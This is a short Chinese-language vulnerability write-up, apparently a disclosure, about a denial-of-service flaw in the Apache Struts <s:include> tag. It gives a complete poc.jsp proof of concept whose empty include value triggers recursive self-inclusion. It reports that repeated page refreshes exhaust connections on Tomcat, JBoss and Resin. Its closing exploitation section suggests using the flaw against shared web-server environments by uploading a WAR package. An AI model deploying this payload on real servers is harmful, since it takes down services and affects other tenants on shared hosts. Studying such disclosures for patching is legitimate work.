比如:

<s:include value="" />
<s:include value="." />
<s:include value="/" />
<s:include value="?" />

poc.jsp:

<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%>
<%@ taglib prefix="s" uri="/struts-tags"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title></title>
</head>
<body>
<s:include value="" />PoC
</body>
</html>

访问poc.jsp后发现,webServer出现明显的递归调用输出:

访问poc.jsp后发现,webServer出现明显的递归调用输出:

异常:

连接数异常

然后按住F5刷新一小伙儿,webServer的连接数马上就被打满(tomcat,jboss,resin等测试直接打死,GlassFish可能不明显):

如resin:

/file/old/3203_3.jpg

利用:

虽然是本地拒绝服务,但对于共享webServer的环境效果还是不错的(以及StackOverflow其他方面的利用),比如:丢个war包给那个啥...